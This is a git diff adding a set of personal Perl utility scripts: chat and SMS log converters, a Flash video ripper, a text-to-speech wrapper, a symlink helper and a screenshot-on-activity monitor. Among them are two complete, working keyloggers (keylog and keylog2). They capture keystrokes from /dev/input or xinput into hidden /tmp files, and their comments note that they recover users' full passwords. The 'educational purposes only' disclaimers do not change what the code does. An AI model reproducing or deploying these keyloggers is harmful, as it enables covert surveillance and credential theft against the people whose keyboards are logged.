diff --git a/dumpmsn b/dumpmsn new file mode 100755 index 0000000..d13b4e2 --- /dev/null +++ b/dumpmsn @@ -0,0 +1,74 @@ +#!/usr/bin/perl + +# dumpmsn - Pretty up MSN Messenger chat logs. +# +# Usage: dumpmsn *.xml +# +# This will create a folder named "html" and put the files there. Give it chat +# logs from Windows Live Messenger 2011 or similar (no guarantees it +# will work with other versions). +# +# --Kirsle +# http://sh.kirsle.net/ + +use 5.14.0; +use strict; +use warnings; +use XML::Simple; + +if (!-d "html") { + mkdir("html") or die "Can't create folder 'html': $@"; +} + +foreach my $file (@ARGV) { + say "Dumping $file..."; + my $xml = XMLin($file, ForceArray => 1); + my $html = $file; + $html =~ s/\.xml$//g; + + open (my $fh, ">:utf8", "./html/$html.html"); + print {$fh} < + + +Conversation Log + + + +EOF + + if (ref($xml->{Message}) ne "ARRAY") { + warn "Not an array for $file"; + next; + } + foreach my $Message (@{$xml->{Message}}) { + my $to = $Message->{To}->[0]->{User}->[0]->{FriendlyName}; + my $from = $Message->{From}->[0]->{User}->[0]->{FriendlyName}; + my $time = $Message->{Date} . " " . $Message->{Time}; + my ($text,$style); + if (ref($Message->{Text}->[0])) { + $text = $Message->{Text}->[0]->{content}; + $style = $Message->{Text}->[0]->{Style}; + } else { + $text = $Message->{Text}->[0]; + } + + $style //= ""; + $style = " style=\"$style\"" if length $style > 0; + + print {$fh} "$time
\n" + . "$from says:\n" + . "$text\n" + . "
\n\n"; + } + + print {$fh} "\n"; + close($fh); +} diff --git a/dumpsms b/dumpsms new file mode 100755 index 0000000..a757ba3 --- /dev/null +++ b/dumpsms @@ -0,0 +1,67 @@ +#!/usr/bin/perl + +# dumpsms - Dump the SMS logs saved by "SMS Backup & Restore" into friendly +# readable HTML files! +# +# Usage: dumpsms +# Ex: dumpsms sms-20120629202942.xml +# +# It will create a folder "./sms" if it doesn't exist, and output all the logs +# into that folder. It saves HTML files after the contact name, if available. +# Logs are opened in append mode, so if you run the script multiple times the +# logs get appended to the end of the file! +# +# --Kirsle +# http://sh.kirsle.net/ + +use 5.14.0; +use strict; +use warnings; +use autodie; +use XML::Simple; + +my $xml = shift or die "$0 <*.xml>"; + +mkdir("sms") unless -d "sms"; +my $ref = XMLin($xml); + +foreach my $sms (@{$ref->{sms}}) { + my $num = $sms->{address}; + + my $color = $sms->{type} eq "1" ? "receive" : "send"; + my $dir = $sms->{type} eq "1" ? "From" : "Sent to"; + + my $file = "./sms/$sms->{contact_name}.html"; + if (!-f $file) { + open (my $fh, ">", $file); + print {$fh} "\n" + . "\n" + . "\n" + . "Conversation with $sms->{contact_name}\n" + . "\n" + . "\n" + . "\n\n"; + close($fh); + } + + open (my $fh, ">>:utf8", "./sms/$sms->{contact_name}.html"); + print {$fh} "$sms->{readable_date}
\n" + . "$dir $sms->{contact_name} - $num\n" + . "
$sms->{body}
\n" + . "
\n"; + close($fh); +} + +say "Wrote logs to ./sms"; diff --git a/flashget b/flashget new file mode 100755 index 0000000..7b05413 --- /dev/null +++ b/flashget @@ -0,0 +1,68 @@ +#!/usr/bin/perl -w + +# flashget - Download Flash videos from any hosting site. +# Usage: flashget [output directory default $HOME] +# Author: Kirsle +# http://sh.kirsle.net/ + +# This script doesn't care what your flash player is called. It just looks for +# any process that owns a /tmp/Flash####### file and copies it. It works for +# both the "old style" Netscape Flash plugin (for Firefox and Chromium) and the +# Pepper API style used in Google Chrome. + +use strict; +use warnings; +use File::Copy; + +my $home = shift @ARGV || (defined $ENV{HOME} ? $ENV{HOME} : "."); + +print "flashget - Searching for Flash videos to rip. For best results, make sure\n" + . "you FULLY BUFFER the video first in your web browser.\n\n"; + +my $count = 0; + +# First, just do a dumb scan of everything in /proc that we have read-access to +# and look for Flash files belonging to either Chrome or the Firefox-style Flash +# plugin. Note that the Chrome Flash plugin locks us out of its file descriptors +# unless we run with root privileges. +opendir (my $proc, "/proc"); +foreach my $pid (sort { $a <=> $b } (grep(/^\d+$/, readdir($proc)))) { + # Skip PID's we can't read from. + next unless -r "/proc/$pid/fd"; + + # Look for flash videos. + opendir (my $fd, "/proc/$pid/fd"); + foreach my $id (sort(grep(!/^\./, readdir($fd)))) { + my $file = "/proc/$pid/fd/$id"; # Make it an abs path. + if (-l $file) { + my $link = readlink($file); + + # Look for a Flash video link. + $link =~ s/\s*\(deleted\)//g; # Remove the " (deleted)" extensions. + if ($link =~ m{^/tmp/((?:Flash|FreshTemp).*?)$} || $link =~ m{Shockwave Flash/\.(.+?)$}) { + # Copy it. + my $dest = "$home/$1.flv"; + print "Recover from PID $pid: $id -> $dest\n"; + copy($file, $dest) or print "ERR: Couldn't copy to $dest: $@\n"; + $count++; + } + } + } + closedir($fd); +} +closedir ($proc); + +print "\nRecovered $count Flash video(s).\n"; + +# Do a quick check for Google Chrome Flash processes that we didn't manage to +# get files from, to notify the user that they may want to re-run as root. +if ($> != 0) { + my $ps = `ps aux | grep ppapi | grep -v grep`; + if ($ps) { + print "I found a few Google Chrome Flash plugins running, but I need\n" + . "root permissions to read those files (unless you saw some files\n" + . "named like 'com.google' above). Run this script as root to get\n" + . "Flash videos out of Google Chrome.\n"; + print "$ps\n"; + } +} diff --git a/gsay b/gsay new file mode 100755 index 0000000..dbfe99e --- /dev/null +++ b/gsay @@ -0,0 +1,27 @@ +#!/usr/bin/perl + +# gsay - Text to Speech using Google +# Usage: gsay +# +# --Kirsle +# http://sh.kirsle.net/ + +use strict; +use warnings; +use URI::Escape; + +if (scalar(@ARGV) == 0 || $ARGV[0] =~ /^-/) { + die "Usage: $0 \n"; +} + +my $message = uri_escape(join(" ", @ARGV)); + +# Check for mplayer. +chomp(my $mplayer = `which mplayer 2>/dev/null`); +if ($? || !$mplayer) { + die "Couldn't find `mplayer` - please install it!\n"; +} + +# Fork a background process to speak and exit immediately. +exit if fork(); +exec("$mplayer -ao alsa -really-quiet -noconsolecontrols \"http://translate.google.com/translate_tts?tl=en&q=$message\" >/dev/null 2>&1"); diff --git a/keylog b/keylog new file mode 100755 index 0000000..5e8cc44 --- /dev/null +++ b/keylog @@ -0,0 +1,370 @@ +#!/usr/bin/perl -w + +use strict; +use warnings; +use threads; +use threads::shared; + +# keylog - A simple key logger. +# Usage: keylog +# Example: keylog /dev/input/event0 +# +# The user you run this as should have read access to the device node. Most of +# the time, this means you'll need to run this as root. +# +# To find out which device node your keyboard is using, run the command +# `cat /proc/bus/input/devices` and search for your keyboard. There should be +# a line by your keyboard's info that looks like "Handlers=kbd event4" and +# in this case the input device is /dev/input/event4. Update this for any +# other event number that you see instead. +# +# This program prints ALL key events to the terminal (including the key up/down +# events for all keys). This information probably isn't directly useful to you, +# so it also logs "full sentences" to the log file at /tmp/.keylog. The lines +# it logs are probably the most useful to you; if the user hits the backspace +# key, the last key they typed is deleted, etc.. so if a user is typing their +# password and makes a typo and finishes typing, you'll get their full password. +# +# The buffer used for this is saved after 2 seconds of idle time in their typing, +# or when a "separator key" is entered (a separator key is: Enter, Return, or +# Tab). Each buffer is saved to its own line in the log file. If the user is a +# slow typer, one "sentence" may actually span multiple lines, so you'll have to +# figure this out yourself. +# +# This is just a proof of concept and should be used for educational purposes +# only. +# +# --Kirsle +# http://sh.kirsle.net/ + +# Modify the die handler so we can exit on error messages +# more gracefully. +$SIG{__DIE__} = sub { + my $err = shift; + $err =~ s/ at .+ line .+\.//g; + print $err; + exit(1); +}; + +# Get the device node from command line. +scalar(@ARGV) or die "Usage: keylog \nExample: keylog /dev/input/event0"; +my $DEV = $ARGV[0]; + +# Must run this as root, or be able to read from the device. +if (!-r $DEV) { + die "Can't read from $DEV; got root?"; +} + +# Hash to keep track of modifier keys. +our $mod = { + shift => 0, + alt => 0, + ctrl => 0, +}; + +# This scalar holds the "typing buffer". If they pause typing for 2 seconds, +# or hit a "separator key" (return/enter or tab), the buffer is written to disk +# in the log file. The backspace key deletes text in the buffer, etc. This way +# you can see basically what they typed, without having to parse through the +# key up/down events yourself. +my $buffer : shared; +my $lastkey : shared; # Holds the time() of the last key event seen. +my $writenow : shared; # The key parser can force the buffer to write now. +$buffer = ''; +$lastkey = 0; +$writenow = 0; + +# Spawn a thread to watch the buffer and write it to disk. This way the +# blocking file reads won't prevent the buffer from being written. +my $bufthread = threads->create (\&buffer); + +# Open the device for reading. +open (FILE, $DEV); +while (1) { + # Read the next keypress event. + my $line = ""; + sysread(FILE, $line, 16); + my @vals = split(//, $line); + + if (ord($vals[10]) != 0) { + # Interpret the event. + interpret(ord($vals[10]),ord($vals[12])); + } +} +close (FILE); + +# This is the buffer writing thread. +sub buffer { + while (1) { + select(undef,undef,undef,0.1); + + # Was there a 2 second delay from the last event? + if ($lastkey == 0) { + next; + } + + if ((time() - $lastkey >= 2 && length($buffer) > 0) || $writenow) { + # Write it to disk. + print "Writing buffer to disk\n"; + open (WRITE, ">>/tmp/.keylog"); + print WRITE ts() . "$buffer\n"; + close (WRITE); + $buffer = ''; + $lastkey = 0; + $writenow = 0; + } + } +} + +# Interpret keycode events from the device node. +sub interpret { + my ($keycode,$state) = @_; + + # Store the last keypress time. + $lastkey = time(); + + # Qwerty keyboard map. + qwerty($keycode,$state); + return; + + # This code doesn't run; if you want it to run, + # comment out the "return" just above these + # comments. This is for debugging purposes. + print "[$keycode] "; + if ($state == 0) { + print "up\n"; + } + elsif ($state == 1) { + print "down\n"; + } + elsif ($state == 2) { + print "repeat\n"; + } + else { + print "\n"; + } +} + +# Interpret keycodes based on QWERTY key map. +sub qwerty { + my ($code,$state) = @_; + return unless $state >= 0 && $state <= 2; + + # Handle the modifier keys first. + if ($code == 42 || $code == 54) { + # Shift key. + $mod->{shift} = ($state == 1 ? 1 : 0); + } + elsif ($code == 29 || $code == 97) { + # Ctrl key. + $mod->{ctrl} = ($state == 1 ? 1 : 0); + } + elsif ($code == 56 || $code == 100) { + # Alt key. + $mod->{alt} = ($state == 1 ? 1 : 0); + } + + # Qwery keys. + my %keys = ( + # Keys that map to two different characters (with shift + # key held down) are an array; element 0 is the non-shifted + # character, element 1 is the shifted character. + + # number row + 41 => [ '`', '~' ], + 2 => [ '1', '!' ], + 3 => [ '2', '@' ], + 4 => [ '3', '#' ], + 5 => [ '4', '$' ], + 6 => [ '5', '%' ], + 7 => [ '6', '^' ], + 8 => [ '7', '&' ], + 9 => [ '8', '*' ], + 10 => [ '9', '(' ], + 11 => [ '0', ')' ], + 12 => [ '-', '_' ], + 13 => [ '=', '+' ], + + # qwerty row + 16 => [ 'q', 'Q' ], + 17 => [ 'w', 'W' ], + 18 => [ 'e', 'E' ], + 19 => [ 'r', 'R' ], + 20 => [ 't', 'T' ], + 21 => [ 'y', 'Y' ], + 22 => [ 'u', 'U' ], + 23 => [ 'i', 'I' ], + 24 => [ 'o', 'O' ], + 25 => [ 'p', 'P' ], + 26 => [ '[', '{' ], + 27 => [ ']', '}' ], + 43 => [ '\\', '|' ], + + # asdf row + 30 => [ 'a', 'A' ], + 31 => [ 's', 'S' ], + 32 => [ 'd', 'D' ], + 33 => [ 'f', 'F' ], + 34 => [ 'g', 'G' ], + 35 => [ 'h', 'H' ], + 36 => [ 'j', 'J' ], + 37 => [ 'k', 'K' ], + 38 => [ 'l', 'L' ], + 39 => [ ';', ':' ], + 40 => [ "'", '"' ], + + # zxcv row + 44 => [ 'z', 'Z' ], + 45 => [ 'x', 'X' ], + 46 => [ 'c', 'C' ], + 47 => [ 'v', 'V' ], + 48 => [ 'b', 'B' ], + 49 => [ 'n', 'N' ], + 50 => [ 'm', 'M' ], + 51 => [ ',', '<' ], + 52 => [ '.', '>' ], + 53 => [ '/', '?' ], + + # Other keys + 14 => 'Backspace', + 28 => 'Return', + 96 => 'Enter', + 15 => 'Tab', + 57 => ' ', + 58 => 'Caps Lock', + 69 => 'Num Lock', + 70 => 'Scroll Lock', + 42 => 'L-Shift', + 54 => 'R-Shift', + 29 => 'L-Ctrl', + 97 => 'R-Ctrl', + 56 => 'L-Alt', + 100 => 'R-Alt', + 125 => 'L-Super', + 126 => 'R-Super', + 127 => 'Menu', + 1 => 'Escape', + 59 => 'F1', + 60 => 'F2', + 61 => 'F3', + 62 => 'F4', + 63 => 'F5', + 64 => 'F6', + 65 => 'F7', + 66 => 'F8', + 67 => 'F9', + 68 => 'F10', + 87 => 'F11', + 88 => 'F12', + 110 => 'Insert', + 102 => 'Home', + 107 => 'End', + 104 => 'Pg Up', + 109 => 'Pg Dn', + 111 => 'Del', + 99 => 'Print Screen', + 119 => 'Pause', + 103 => 'Up', + 108 => 'Down', + 106 => 'Right', + 105 => 'Left', + 71 => [ 'Num-7', 'Num-Home' ], + 72 => [ 'Num-8', 'Num-Up' ], + 73 => [ 'Num-9', 'Num-Pg Up' ], + 75 => [ 'Num-4', 'Num-Left' ], + 76 => 'Num-5', + 77 => [ 'Num-6', 'Num-Right' ], + 79 => [ 'Num-1', 'Num-End' ], + 80 => [ 'Num-2', 'Num-Down' ], + 81 => [ 'Num-3', 'Num-Pg Dn' ], + 82 => [ 'Num-0', 'Num-Insert' ], + 96 => 'Num-/', + 55 => 'Num-*', + 74 => 'Num--', + 78 => 'Num-+', + 93 => [ 'Num-.', 'Num-Del' ], + ); + + # See their matching keypress. + my $keypress = ''; + foreach my $key (sort keys %keys) { + if ($code == $key) { + # We have a match! Does the key have a shift-modifier? + if (ref($keys{$key}) eq "ARRAY") { + if ($mod->{shift}) { + $keypress = $keys{$key}->[1]; + } + else { + $keypress = $keys{$key}->[0]; + } + } + else { + $keypress = $keys{$key}; + } + last; + } + } + + # Add it to the buffer. + if ($state == 1) { + if (length $keypress > 1) { + if ($keypress eq 'Backspace') { + # Delete the last character off the end of their buffer. + $buffer = substr($buffer,0,(length($buffer) - 1)); + } + else { + # Add the special key with {brackets} around it. + $buffer .= "{$keypress}"; + } + } + else { + $buffer .= $keypress; + } + } + + # If they hit a separator key, save the buffer right now. + if ($state == 1 && ($keypress eq 'Return' || $keypress eq 'Enter' || $keypress eq 'Tab')) { + $writenow = 1; + } + + # Print their key. + if ($mod->{shift}) { + $keypress = "(Shift) $keypress"; + } + if ($mod->{ctrl}) { + $keypress = "(Ctrl) $keypress"; + } + if ($mod->{alt}) { + $keypress = "(Alt) $keypress"; + } + + if ($state == 1) { + $keypress = "+ $keypress"; + } + else { + $keypress = "- $keypress"; + } + + print "$code $keypress\n"; + + # Log the raw keypresses too. + open (RAW, ">>/tmp/.rawkeylog"); + print RAW ts() . "$code $keypress\n"; + close (RAW); +} + +sub ts { + my @time = localtime(); + return "[" . join(" ", + join("-", + sprintf("%04d", $time[5] + 1900), + sprintf("%02d", $time[4] + 1), + sprintf("%02d", $time[3]), + ), + join(":", + sprintf("%02d", $time[2]), + sprintf("%02d", $time[1]), + sprintf("%02d", $time[0]), + ), + ) . "] "; +} diff --git a/keylog2 b/keylog2 new file mode 100755 index 0000000..97bd1e7 --- /dev/null +++ b/keylog2 @@ -0,0 +1,292 @@ +#!/usr/bin/perl -w + +# keylog2 - a rootless keylogger that only requires an X server and the xinput +# command (provided by xorg-x11-apps on Fedora). You'll also need to install +# the Perl module IO::Pty::Easy. +# +# Unlike my first keylogger proof-of-concept, this one doesn't require root +# privileges because it just uses the X Window System. Therefore it only +# catches key inputs made to graphical programs on the same X server that the +# keylogger runs on. +# +# How it works: running `xinput list` lists all your X input devices. There's +# a keyboard device named "AT (something)", mine is "AT Translated Set 2 +# keyboard". Get the ID from the line that says this and then run +# `xinput test ` and it will start dumping keystroke information as the +# user types keys into ANY graphical app. +# +# I mapped the QWERTY keyboard set using my own keyboard by trial-and-error, +# so no guarantees it will work for everybody. This is just another proof of +# concept anyway, and shouldn't be used for malicious purposes. +# +# Under the default configuration, the log file is written to /tmp/.keylog +# and only logs key release events, except for modifier keys (Shift, Ctrl, +# Alt, and Super (Windows key)) where it will also log the Key Down event +# (so Alt-Tabbing makes more sense in the log, for example). You can +# optionally configure it to log EVERY key down event if you'd like, though. +# +# Again, this is just a proof of concept and should be used for educational +# purposes only, and not for anything malicious. +# +# --Kirsle +# http://sh.kirsle.net/ + +use strict; +use warnings; +use IO::Pty::Easy; +use IO::Handle; + +########################## +# Configuration # +########################## + +my $conf = { + # Log files to write keys to + logfile => "/tmp/.keylog", + + # By default only key-releases are logged. Log key-presses too? + log_keydown => 0, +}; + +########################## +# End Configuration # +########################## + +# X11 display. +$ENV{DISPLAY} ||= ":0.0"; + +# Make sure we have xinput. +if (system("which xinput > /dev/null") != 0) { + print "You require the `xinput` command for this keylogger to work.\n"; + exit(1); +} + +# Get the input list. +my @inputs = `xinput list`; + +# Find the AT keyboard. +my $id; +foreach my $line (@inputs) { + $line =~ s/^[\s\t]+//g; + $line =~ s/[\s\t]+$//g; + $line =~ s/[\x0D\x0A]+//g; + next unless length $line; + if ($line =~ /keyboard/i && $line =~ /. AT/) { + ($id) = ($line =~ /id=(\d+)/)[0]; + } +} +if (!defined $id) { + print "Failed to find \"AT\" keyboard ID from `xinput list`!\n"; + exit(1); +} + +print "Keyboard ID: $id\n"; + +# Track state of modifier keys. +our %mod = ( + 'shift' => 0, + 'ctrl' => 0, + 'alt' => 0, + 'super' => 0, +); + +# Begin watching. Make a pseudo TTY for this so xinput believes we're a shell. +my $tty = IO::Pty::Easy->new(); +print "Watching `xinput test $id`\n"; +$tty->spawn("xinput test $id"); + +while ($tty->is_active) { + my $data = $tty->read(); + my @lines = split(/\n/, $data); + foreach my $line (@lines) { + # Key event? + chomp $line; + if ($line =~ /^key\s+(press|release)\s+(\d+)\s*?$/i) { + event($1, $2); + } + } +} + +# Handle key events +sub event { + my ($event,$sym) = @_; + + # Only QWERTY keyboards supported. + my $key = kbd_qwerty($event,$sym); + + print "[$sym] $event: " . ($key eq " " ? "{space}" : $key) . "\n"; + + # Log it? + if ($event eq "release" || ($event eq "press" && $conf->{log_keydown}) || + ($key =~ /^\{(Shift|Ctrl|Alt|Super)\}$/)) { + my @time = localtime(time()); + my $ts = join(" ", + join("-", + sprintf("%4d", $time[5] + 1900), + sprintf("%2d", $time[4] + 1), + sprintf("%2d", $time[3]), + ), + join(":", + sprintf("%2d", $time[2]), + sprintf("%2d", $time[1]), + sprintf("%2d", $time[0]), + ), + ); + + open (my $log, ">>", $conf->{logfile}); + print $log "[$ts] " + . ($event eq "release" ? "" : "") + . " " + . ($key eq " " ? "{space}" : $key) + . "\n"; + close ($log); + } +} + +# QWERTY keysym finder +sub kbd_qwerty { + my ($event,$sym) = @_; + + # Modifier keys. + my %modkeys = ( + 50 => 'shift', # L Shift + 62 => 'shift', # R Shift + 37 => 'ctrl', # L Ctrl + 105 => 'ctrl', # R Ctrl + 64 => 'alt', # L Alt + 108 => 'alt', # R Alt + 133 => 'super', # L Super + ); + if (exists $modkeys{$sym}) { + my $name = $modkeys{$sym}; + $mod{$name} = $event eq "press" ? 1 : 0; + return "{\u$name}"; + } + + # Qwerty keys. + my %keys = ( + # qwerty row + 24 => [ 'q', 'Q' ], # normal, shift key + 25 => [ 'w', 'W' ], + 26 => [ 'e', 'E' ], + 27 => [ 'r', 'R' ], + 28 => [ 't', 'T' ], + 29 => [ 'y', 'Y' ], + 30 => [ 'u', 'U' ], + 31 => [ 'i', 'I' ], + 32 => [ 'o', 'O' ], + 33 => [ 'p', 'P' ], + 34 => [ '[', '{' ], + 35 => [ ']', '}' ], + 51 => [ "\\", '|' ], + + # asdf row + 38 => [ 'a', 'A' ], + 39 => [ 's', 'S' ], + 40 => [ 'd', 'D' ], + 41 => [ 'f', 'F' ], + 42 => [ 'g', 'G' ], + 43 => [ 'h', 'H' ], + 44 => [ 'j', 'J' ], + 45 => [ 'k', 'K' ], + 46 => [ 'l', 'L' ], + 47 => [ ';', ':' ], + 48 => [ '"', "'" ], + 36 => "{Return}", + + # zxcv row + 52 => [ 'z', 'Z' ], + 53 => [ 'x', 'X' ], + 54 => [ 'c', 'C' ], + 55 => [ 'v', 'V' ], + 56 => [ 'b', 'B' ], + 57 => [ 'n', 'N' ], + 58 => [ 'm', 'M' ], + 59 => [ ',', '<' ], + 60 => [ '.', '>' ], + 61 => [ '/', '?' ], + + # number row + 49 => [ '`', '~' ], + 10 => [ '1', '!' ], + 11 => [ '2', '@' ], + 12 => [ '3', '#' ], + 13 => [ '4', '$' ], + 14 => [ '5', '%' ], + 15 => [ '6', '^' ], + 16 => [ '7', '&' ], + 17 => [ '8', '*' ], + 18 => [ '9', '(' ], + 19 => [ '0', ')' ], + 20 => [ '-', '_' ], + 21 => [ '+', '=' ], + + # space bar + 65 => ' ', + + # number pad + 90 => '{Num-0}', + 87 => '{Num-1}', + 88 => '{Num-2}', + 89 => '{Num-3}', + 83 => '{Num-4}', + 84 => '{Num-5}', + 85 => '{Num-6}', + 79 => '{Num-7}', + 80 => '{Num-8}', + 81 => '{Num-9}', + 106 => '{Num-/}', + 63 => '{Num-*}', + 82 => '{Num--}', + 86 => '{Num-+}', + + # F keys + 67 => '{F1}', + 68 => '{F2}', + 69 => '{F3}', + 70 => '{F4}', + 71 => '{F5}', + 72 => '{F6}', + 73 => '{F7}', + 74 => '{F8}', + 75 => '{F9}', + 76 => '{F10}', + 95 => '{F11}', + 96 => '{F12}', + + # Misc + 9 => '{Esc}', + 22 => '{Backspace}', + 77 => '{Num Lock}', + 107 => '{Print Scr}', + 118 => '{Insert}', + 119 => '{Delete}', + 110 => '{Home}', + 112 => '{Pg Up}', + 117 => '{Pg Dn}', + 115 => '{End}', + 111 => '{Up}', + 116 => '{Down}', + 113 => '{Left}', + 114 => '{Right}', + 135 => '{Menu}', + 23 => '{Tab}', + 66 => '{Caps Lock}', + ); + + if (exists $keys{$sym}) { + if (ref($keys{$sym})) { + print "(shift key: $mod{shift})\n"; + if ($mod{shift}) { + return $keys{$sym}->[1]; + } + else { + return $keys{$sym}->[0]; + } + } + return $keys{$sym}; + } + else { + return "{Unknown: $sym}"; + } +} diff --git a/lenny-up b/lenny-up new file mode 100755 index 0000000..c8bff51 --- /dev/null +++ b/lenny-up @@ -0,0 +1,9 @@ +#!/usr/bin/perl + +# Get some updated software on Debian Lenny, especially `git`. + +if (!-d "/opt/git") { + print "Fetching latest git\n"; + system(qw(wget --no-check-certificate https://rpm.kirsle.net/static-bin/git/lenny/latest.tar.gz -O git-lenny.tar.gz)); + system(qw(sudo tar -xzvf git-lenny.tar.gz -C /)); +} diff --git a/mt-link-stuff b/mt-link-stuff new file mode 100755 index 0000000..6973473 --- /dev/null +++ b/mt-link-stuff @@ -0,0 +1,80 @@ +#!/usr/bin/perl + +use strict; +use warnings; +use Cwd; + +# Make symlinks from your git-project repo into the system. This is only +# designed to work with Media Temple's git-project workflow. +# +# Usage: sudo link-stuff.pl /path/to/git/project +# +# The git-project root should have top-level folders such as `perl-libs`, with +# a path convention like e.g. `perl-libs/$NAME/lib/**/*.pm` -- this script will +# attempt to find system-installed counterparts and symlink them to the file +# from your git repo. +# +# Currently supports the following types of things: +# * perl-libs + +my $root = shift; +if (!$root) { + die "Usage: $0 /path/to/git/project\n"; +} +if (!-d $root) { + die "Error: $root is not a directory\n"; +} + +chdir($root); +my $abspath = Cwd::abs_path("."); + +if (-d "./perl-libs") { + perl_libs(); +} + +sub perl_libs { + # Root directories to check. + my @lib = ( + "/usr/share/perl5", + "/usr/share/perl5/vendor_perl", + ); + + # Find all the perl-libs projects. + opendir(my $dh, "./perl-libs"); + foreach my $project (readdir($dh)) { + next unless -d "./perl-libs/$project/lib"; + print "Project: perl-libs/$project\n"; + + # Get its modules. + foreach my $module (scan("./perl-libs/$project/lib")) { + $module =~ s{^\./perl-libs/$project/lib/}{}g; + foreach my $lib (@lib) { + if (-f "$lib/$module") { + print " - Link: $lib/$module\n"; + unlink("$lib/$module"); + symlink("$abspath/perl-libs/$project/lib/$module", "$lib/$module"); + } + } + } + } +} + +# Recursively scan a directory. +sub scan { + my $dir = shift; + + my @found; + + opendir (my $dh, $dir); + foreach my $file (readdir($dh)) { + next if ($file eq '.' || $file eq '..'); + if (-d "$dir/$file") { + push @found, scan("$dir/$file"); + } else { + push @found, "$dir/$file"; + } + } + closedir($dh); + + return @found; +} diff --git a/screenspy b/screenspy new file mode 100755 index 0000000..1969f27 --- /dev/null +++ b/screenspy @@ -0,0 +1,167 @@ +#!/usr/bin/perl -w + +# screenspy - Linux desktop monitoring daemon. Must be run as root. + +# This script monitors one or more hardware devices (usually under /dev) for +# Linux systems running an X window manager. +# +# This script must be run as root because usually only root can read from +# hardware devices directly. You can set up a panel launcher to run this +# script with `sudo` if you previously set up the sudoers file to let your +# user run this script with no password. +# +# --Kirsle +# http://sh.kirsle.net/ + +use strict; +use warnings; +use threads; +use threads::shared; + +################# +# Configuration # +################# + +# X display to grab screenshots from. +$ENV{DISPLAY} ||= ":0.0"; + +# Devices to monitor. +our @devices = ( + "/dev/console", # keyboard input + "/dev/input/mice", # mouse input +); + +# Screenshot command. +our $screenshot = 'scrot -q 85 "%s"'; + +# Output directory for screenshots. +our $outdir = '/home/kirsle/Pictures/screenspy'; + +# Calibration: number of seconds (after no activity) for it to take a screenshot. +our $threshold = 2; # I found that 2 seconds is the best for my system, 1 second and it takes screenshots too often. + +# Calibration: if there's too much activity after the threshold, take screenshots every N seconds. +our $prolonged = 5; + +# If you want some indication that the app is running, put the command to run in here. +# This command will be repeatedly run. Recommended is to use zenity and put an icon in +# your system tray. Leave blank for no command. +our $notify = "zenity --notification --window-icon=/usr/share/pixmaps/gnome-spider.png --text 'Running...'"; + +##################### +# End Configuration # +##################### + +# Only let this script run once. +&checkdupes(); + +# Each thread will report the time when the last event happened. +my %lastEvent : shared; +my %changed : shared; + +# Spawn a thread for each device. +my @threads = (); +foreach my $dev (@devices) { + # Make sure we can read the device. + if (!-r $dev) { + system("zenity --error --text \"Don't have permission to read from device $dev\""); + } + push (@threads, threads->create (\&monitor, $dev)); +} + +# If they want a command run, spawn a thread for it too. +if (length $notify) { + push (@threads, threads->create (\¬ify)); +} + +# Loop forever and let the threads do their thing. +while (1) { + # See if any events have stopped for longer than the threshold. + foreach my $dev (keys %lastEvent) { + if ($lastEvent{$dev} > 0 && time() - $lastEvent{$dev} >= $threshold) { + # take screenshot + print "$dev: idle, taking screenshot (" . (time() - $lastEvent{$dev}) . "; $threshold)\n"; + &screenshot(); + $lastEvent{$dev} = 0; + $changed{$dev} = 0; + } + } + select(undef,undef,undef,0.01); +} + +sub monitor { + my $device = shift; + print "Monitoring device: $device\n"; + + # Store the time when the last event was seen. + $lastEvent{$device} = 0; + + # When the lastEvent is first set (away from 0), record the time it was changed. + # This way for prolonged activity we can still take screenshots. + $changed{$device} = 0; + + open (READ, $device); + my $buffer; + while (read(READ, $buffer, 1)) { + # Store the last event time + if ($lastEvent{$device} == 0) { + $changed{$device} = time(); + } + $lastEvent{$device} = time(); + + # Too much activity? + if ($changed{$device} > 0 && time() - $changed{$device} > $prolonged) { + # Take screenshot. + print "$device: prolonged activity (> $prolonged seconds)\n"; + &screenshot(); + $changed{$device} = time(); + } + } + close (READ); +} + +sub notify { + while (1) { + system($notify); + } +} + +sub screenshot { + print "Taking screenshot!\n"; + + my @time = localtime(time()); + my $date = join(" ", + join("-", + sprintf("%04d", $time[5] + 1900), + sprintf("%02d", $time[4] + 1), + sprintf("%02d", $time[3]), + ), + join(":", + sprintf("%02d", $time[2]), + sprintf("%02d", $time[1]), + sprintf("%02d", $time[0]), + ), + ); + + my $fname = $date; + my $i = 1; + while (-f "$outdir/$fname.png") { + $fname = $date . " [$i]"; + $i++; + } + my $cmd = $screenshot; + $cmd =~ s/%s/$outdir\/$fname\.png/ig; + system($cmd); +} + +sub checkdupes { + my $ps = `ps aux | grep screenspy`; + foreach my $line (split(/\n/,$ps)) { + chomp $line; + next if $line =~ /grep/i; + next if $line =~ /$$/i; + if ($line) { + die "Script is already running!\n"; + } + } +}